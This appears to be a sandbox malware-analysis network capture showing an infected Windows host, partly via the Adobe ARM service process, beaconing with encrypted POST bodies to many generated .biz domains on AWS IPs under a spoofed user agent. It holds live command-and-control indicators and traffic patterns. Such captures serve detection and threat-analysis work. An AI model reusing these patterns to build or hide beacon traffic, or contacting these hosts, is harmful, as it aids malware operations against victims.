Oct 31, 2024 16:05:03.547600985 CET	784	OUT	Data Raw: 43 65 4c e0 c0 f9 ac aa 04 03 00 00 0f ab 13 fb b4 f8 ff 46 45 de 0f 89 bf 3d d7 d2 de f6 29 6c 98 38 5b 03 52 17 6f 22 fb 30 31 84 be 8d ba d2 69 bf e8 12 35 21 3a e8 35 cb 6b 5a 5c ff ce ab 64 70 c9 c0 bf 91 47 de 8c e8 16 09 b2 6d 48 08 11 5d Data Ascii: CeLFE=)l8[Ro"01i5!:5kZ\dpGmH][Tkrn7n$V d0T2r@5"(Q ioHH-P:f]s:h#G&l{?rV^>wNI@Ya$W*u_GK-< j7;x3
Oct 31, 2024 16:05:04.363286018 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1da2720ed713c568e246752812fdb80e\|173.254.250.77\|1730387104\|1730387104\|0\|1\|0; path=/; domain=.jpskm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.22	49259	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:04.377331972 CET	345	OUT	POST /b HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lrxdmhrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:04.377341032 CET	784	OUT	Data Raw: d0 ca f2 a8 a9 27 59 32 04 03 00 00 bf ea 03 63 8e c0 19 ec 8c 1f 40 a2 18 b5 94 10 21 12 5c 4a 07 ce 3c b7 fc 83 29 4a 84 fc 6e c4 74 41 6e 95 af 3f 70 c3 ce 78 6b a7 14 b4 6f af 4c 9c b9 d8 cd 0a c2 46 b8 a8 c8 94 96 f7 f5 30 a9 b1 ee ca 76 d2 Data Ascii: 'Y2c@!\J<)JntAn?pxkoLF0v]I;j&7F5@t6Q,r681Zqg_qYb@i%?;zu{&w$>>[QqwaOSc\N?Kwa0zfgq,6,hIW
Oct 31, 2024 16:05:05.372271061 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7851852f6947d08265d96446f8b254d1\|173.254.250.77\|1730387105\|1730387105\|0\|1\|0; path=/; domain=.lrxdmhrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.22	49260	18.141.10.107	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:04.533128023 CET	354	OUT	POST /pcspwyybent HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: warkcdu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:04.533138037 CET	850	OUT	Data Raw: 5a 92 66 e5 22 2c ff 23 46 03 00 00 94 5d 7b 71 e9 2f 5e 08 ed 66 71 da 29 7c e0 a3 5f 38 77 50 ab 5c 1b 81 29 7f 52 76 c8 d6 99 d6 d8 c0 ba b0 ac 4e bb 58 b8 80 b4 60 c1 94 21 91 db 0c c3 f2 0e 2e 73 ef 99 11 ba 88 43 c8 78 55 02 12 39 21 97 ff Data Ascii: Zf",#F]{q/^fq)\|_8wP\)RvNX`!.sCxU9!V(!"@cf?{Ot\A$9yrSRx@eKV?gyMhIW:bwBjY)ST;QC?YBX8v"MmG^k'\DxF<:me{;=?
Oct 31, 2024 16:05:05.947107077 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=682cfd1795f834d8eb2a35ebd7f1d5e5\|173.254.250.77\|1730387105\|1730387105\|0\|1\|0; path=/; domain=.warkcdu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.22	49261	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:05.394033909 CET	359	OUT	POST /qoujrafrjupdecwk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wllvnzb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:05.394267082 CET	784	OUT	Data Raw: bf 8e cf f0 0c af 93 71 04 03 00 00 74 d0 9d 76 20 a1 da 79 c5 dd ca 6a 23 30 3d 57 d6 99 2f cd da cb a7 16 9f d8 de e8 f6 86 7c e3 38 2f 60 35 e8 78 27 dd d7 78 12 76 96 d7 90 b1 d9 a4 3b c0 ab a7 52 03 96 4c 18 f4 30 20 33 dd b4 a7 f3 75 76 54 Data Ascii: qtv yj#0=W/\|8/`5x'xv;RL0 3uvT}l^k.hKUsb^\|mg\{/V+Y&MZ\1:#pP`RR'nz^@yXXn"sPT_SuS{Vo+.-1>`62
Oct 31, 2024 16:05:06.823203087 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=294eed76e775674a9b5246adc67452c5\|173.254.250.77\|1730387106\|1730387106\|0\|1\|0; path=/; domain=.wllvnzb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.22	49263	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:05.966959000 CET	350	OUT	POST /amclisntt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gcedd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:05.966959000 CET	850	OUT	Data Raw: a8 6d 74 0d 28 55 be 63 46 03 00 00 39 75 1f ea 61 b1 5c 6f be ae 0a b3 d2 6c 1e 8e f5 7c fd 4c 01 c8 3f f7 4e 8f 89 6d f1 13 87 c1 91 bf 49 49 69 4a 44 7c 75 f1 0e 8d 17 6c dc 0e 5f 6e 4a be 78 d5 46 55 76 d5 b5 58 88 4c 74 c3 85 e9 b7 e5 ce 86 Data Ascii: mt(UcF9ua\ol\|L?NmIIiJD\|ul_nJxFUvXLtGCOx{CE8!>Y&9rO\baxwR~\Xe/' v'tm@@p%(v'lRB{lHLltOUmM[[AP@AY/
Oct 31, 2024 16:05:07.410078049 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=160cba440b137f3946a59ec8bc0b38e6\|173.254.250.77\|1730387107\|1730387107\|0\|1\|0; path=/; domain=.gcedd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.22	49266	18.208.156.248	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:06.837471962 CET	356	OUT	POST /fsfjsuvphovialx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gnqgo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:06.837498903 CET	784	OUT	Data Raw: 3e 33 98 0d 71 ed b1 2c 04 03 00 00 83 e0 f3 96 1f c7 f7 4d 84 d4 ef c9 c9 ad 9f 2a ba 94 fe 84 ee 55 ea 10 4d f1 6a ca eb 45 71 23 75 69 5c 56 39 3c 8a 8c bc 68 a9 09 3b 07 09 6d a7 a5 54 e2 b0 5d 9a cf 86 24 9b b2 bc f9 f7 05 38 1d bd 78 bd 98 Data Ascii: >3q,MUMjEq#ui\V9<h;mT]$8x?/TkLcZu"L2HZDj}A_YZ3L8JsUD6r.bC"VA(aJs)OT>aZL2wGecw8O?sL33f
Oct 31, 2024 16:05:07.547045946 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=652b14f6c6e5321436fbe265660156a0\|173.254.250.77\|1730387107\|1730387107\|0\|1\|0; path=/; domain=.gnqgo.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.22	49267	18.208.156.248	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:07.428452969 CET	360	OUT	POST /ecebdojuerohevn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jwkoeoqns.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:07.428452969 CET	850	OUT	Data Raw: 5e d5 88 1e 81 56 8c bb 46 03 00 00 09 41 43 0f 0c 2d 75 d8 9f de 13 93 cb 20 da 35 de dd b7 cc 7f c8 37 74 91 67 02 a6 b1 6c 2f 1f 9c 56 a3 ac c2 a7 c2 d5 a5 d1 ab e4 7b f4 18 ad c4 6b ea d5 35 f7 b6 22 d1 fa 54 be 6a 99 90 41 1d b1 97 9c 67 68 Data Ascii: ^VFAC-u 57tgl/V{k5"TjAghrDoN@Hy6Jkmpr(l,zJNvpOQfwgE)@93U>MsSdT&gYHa\|K$F^Y)}fB=2&1w~'M
Oct 31, 2024 16:05:08.113147020 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=67d71cd1d0e773a2074f5a62bf3eebd3\|173.254.250.77\|1730387108\|1730387108\|0\|1\|0; path=/; domain=.jwkoeoqns.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.22	49268	44.221.84.105	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:07.561558962 CET	352	OUT	POST /nmdfmlpv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jhvzpcfg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:07.561558962 CET	784	OUT	Data Raw: 67 1f 03 20 99 2d 25 15 04 03 00 00 62 ee e2 a4 c8 9f 67 fc 25 94 7c 12 2f 3e 6b 97 25 33 78 27 34 9b 9d 9e 6a 4a 58 bc 7b 38 94 5e 15 f6 c4 13 d5 9b 81 19 22 13 87 f8 a2 61 c6 e4 62 79 bb d1 38 69 68 e0 29 48 bc 4a d6 d6 04 3d 70 0e 19 4b a5 0f Data Ascii: g -%bg%\|/>k%3x'4jJX{8^"aby8ih)HJ=pK]mf>JO,CT>B}Ro[t^%ruIwB.1bsXJ(jw\YfbHyaBt<A!_maRoB8dS{7<Kq)pn@w
Oct 31, 2024 16:05:08.266040087 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=be5f280c22f7cff7b09bbd51f5d0fb8c\|173.254.250.77\|1730387108\|1730387108\|0\|1\|0; path=/; domain=.jhvzpcfg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.22	49269	18.246.231.120	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:08.137526035 CET	345	OUT	POST /ugfe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xccjj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:08.137607098 CET	850	OUT	Data Raw: 53 fa 70 3c 00 2a 79 98 46 03 00 00 b0 eb e4 c1 b5 ba 1c c9 7b ed 62 03 32 e1 73 a6 1f 58 73 f9 a5 96 dd 39 2a 4e 58 95 da 50 8d 5a 35 02 e0 c2 4a 55 f4 d3 fe 3c 09 3f 01 f6 cd 75 18 36 e3 0f b6 1a 32 50 66 11 33 71 d4 27 fd db 42 c1 fe 42 dc a4 Data Ascii: Sp<yF{b2sXs9NXPZ5JU<?u62Pf3q'BBI"Y~I)vRw`=d>V^-<\n@M24L}J>9BkgL6Ri`(n%>aJ"`kR;Z\0_qP2[3#3e"5a
Oct 31, 2024 16:05:10.017523050 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=59389f33b2367cd57056c39dd6d0e680\|173.254.250.77\|1730387108\|1730387108\|0\|1\|0; path=/; domain=.xccjj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:10.017882109 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=59389f33b2367cd57056c39dd6d0e680\|173.254.250.77\|1730387108\|1730387108\|0\|1\|0; path=/; domain=.xccjj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:10.018150091 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=59389f33b2367cd57056c39dd6d0e680\|173.254.250.77\|1730387108\|1730387108\|0\|1\|0; path=/; domain=.xccjj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.22	49270	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:08.280318022 CET	345	OUT	POST /a HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: acwjcqqv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:08.280330896 CET	784	OUT	Data Raw: c0 d5 29 29 20 82 f7 78 04 03 00 00 f8 45 aa 3a 94 9c 81 11 c7 d5 bd 37 c9 77 c1 be c1 c7 41 47 9f 27 71 4e 2f 5e aa a2 82 e9 1b c7 4a 0e 66 85 48 63 76 94 a8 92 93 1f 5b 29 05 c6 b3 09 b3 1f 9c 95 e7 5b 61 cf 02 28 d9 1b 79 b9 b0 b9 6a df cf 44 Data Ascii: )) xE:7wAG'qN/^JfHcv[)[a(yjDS>ccnr`;9/o\dpeszxl7}jD-1F)^`PGiNqR\ {}7yS!bG4vHz3jv!51Q.4kd?1#
Oct 31, 2024 16:05:10.018074036 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a9a4253c58897426d3b8fa6548fda24c\|173.254.250.77\|1730387109\|1730387109\|0\|1\|0; path=/; domain=.acwjcqqv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:05:10.018193960 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a9a4253c58897426d3b8fa6548fda24c\|173.254.250.77\|1730387109\|1730387109\|0\|1\|0; path=/; domain=.acwjcqqv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.22	49271	18.246.231.120	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:10.039690971 CET	351	OUT	POST /cvsrgqtilf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vyome.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:10.039710045 CET	784	OUT	Data Raw: 09 4f 2c 7a 0a 5f 03 1b 04 03 00 00 f4 2a aa c5 c5 5c c9 20 71 e9 48 43 30 40 a7 ee eb 3c 19 aa 53 d5 85 0f 08 2c e1 71 48 7c 45 6e fd 44 4c ee 9e d8 04 48 be f4 12 90 1e 4e 77 b3 9f ef ea 52 a1 b1 d8 21 18 1b 65 c5 9e b2 3e ea d2 16 90 fd 35 26 Data Ascii: O,z_*\ qHC0@<S,qH\|EnDLHNwR!e>5&KX4fff/6_?2k(3K;U_:#qk58bTEPJnqqUb70\|2'px[(2zF8^\B
Oct 31, 2024 16:05:10.869249105 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7c68e653dbe515c8d80b4b4e315ad099\|173.254.250.77\|1730387110\|1730387110\|0\|1\|0; path=/; domain=.vyome.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.22	49272	44.221.84.105	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:10.041536093 CET	354	OUT	POST /gichsdceot HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: hehckyov.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:10.041548014 CET	850	OUT	Data Raw: ca 0e 29 18 ba f6 8a e7 46 03 00 00 c7 33 47 59 06 dc dd 23 e2 0e 9e 07 d4 62 74 75 b9 ea 81 b3 b5 d5 48 0d 42 f7 90 2a 99 c1 89 c9 4c 30 31 85 33 a2 47 77 fa c0 df 96 76 63 7f f5 08 13 4c 8c 44 b8 d8 e6 f9 75 ed 01 e1 f2 43 45 90 7b 84 07 c8 5e Data Ascii: )F3GY#btuHB*L013GwvcLDuCE{^A.?ojeoCYuqP<ThVwy\oQZ94:,N\Iijz#P`L-1N0A(hiTd\;6xJ]rkZ<
Oct 31, 2024 16:05:10.706758976 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1eb3ad830a93df58fd8dad253c4f1901\|173.254.250.77\|1730387110\|1730387110\|0\|1\|0; path=/; domain=.hehckyov.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.22	49273	54.244.188.177	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:10.728657007 CET	352	OUT	POST /mxgreyoumk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: rynmcq.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:10.728657961 CET	850	OUT	Data Raw: 59 a2 d4 4b 31 4a 90 3d 46 03 00 00 e2 77 31 d2 5a 52 01 e5 82 25 43 b5 2a ca d4 d6 b9 e2 66 a3 6c 58 63 a0 8b 40 1c 8c e0 b2 d1 45 0f 42 73 5e 0d be 28 49 bd 8f 68 e0 4a 2e 0c 77 49 74 49 7b cc 4d 82 24 2b f8 d3 7a ca 13 48 9b 0c 4a 3d 2b 4a 43 Data Ascii: YK1J=Fw1ZR%CflXc@EBs^(IhJ.wItI{M$+zHJ=+JCYc;q2>C9U6E0~"9zr5p\S<0y6>zn]=V6DKaC;<!ukW\gTOt>
Oct 31, 2024 16:05:11.585205078 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b0f6dd85262f9295f63eddabd0b8bb2a\|173.254.250.77\|1730387111\|1730387111\|0\|1\|0; path=/; domain=.rynmcq.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.22	49274	18.208.156.248	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:10.882824898 CET	355	OUT	POST /wgaiwwcdjyg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yauexmxk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:10.882895947 CET	784	OUT	Data Raw: ca 79 55 38 9c f9 37 af 04 03 00 00 b1 db 6d b2 29 06 fa 15 1d 58 c2 83 16 13 54 92 0f e3 a6 d8 41 f7 38 1d 58 e9 8a e8 19 71 a7 70 73 e0 87 48 61 eb 47 8f fe 0a 4d 7d 38 ee 1b 34 83 c2 46 83 f6 43 3d f2 1f 79 b6 05 03 8f 9e 83 f4 14 b3 2d 02 fe Data Ascii: yU87m)XTA8XqpsHaGM}84FC=y-f>-qX3 QUH%mb!`D`4TnG(&sL\*YV`lD$ipAlE//X\|8H]X3i7T2sZMp5YQS6&.._
Oct 31, 2024 16:05:11.551846027 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:05:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=768ae08285016397335592da23016318\|173.254.250.77\|1730387111\|1730387111\|0\|1\|0; path=/; domain=.yauexmxk.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.22	49275	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:05:11.566076994 CET	353	OUT	POST /evlsotobhow HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: iuzpxe.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:11.566104889 CET	784	OUT	Data Raw: 8a d8 bb 61 72 61 9d 80 04 03 00 00 49 ff 76 8c ce c6 18 5b 61 9d a2 73 22 23 0a 10 76 8f b5 6e 0f 60 50 4a f9 d3 d3 3c b5 e7 31 a0 da 51 63 21 6e fd 50 15 4f f6 29 7b ff 54 1d b7 c2 f5 f9 17 49 e6 fb c9 0e f7 2b 96 1d d7 63 0b 2e 2e 5c 70 2b 7b Data Ascii: araIv[as"#vn`PJ<1Qc!nPO){TI+c..\p+{m4,kV@TUL1_TIGM[]^&`: 45K=?i9,B4EjV8V(6q1p.LhQMjr;vX
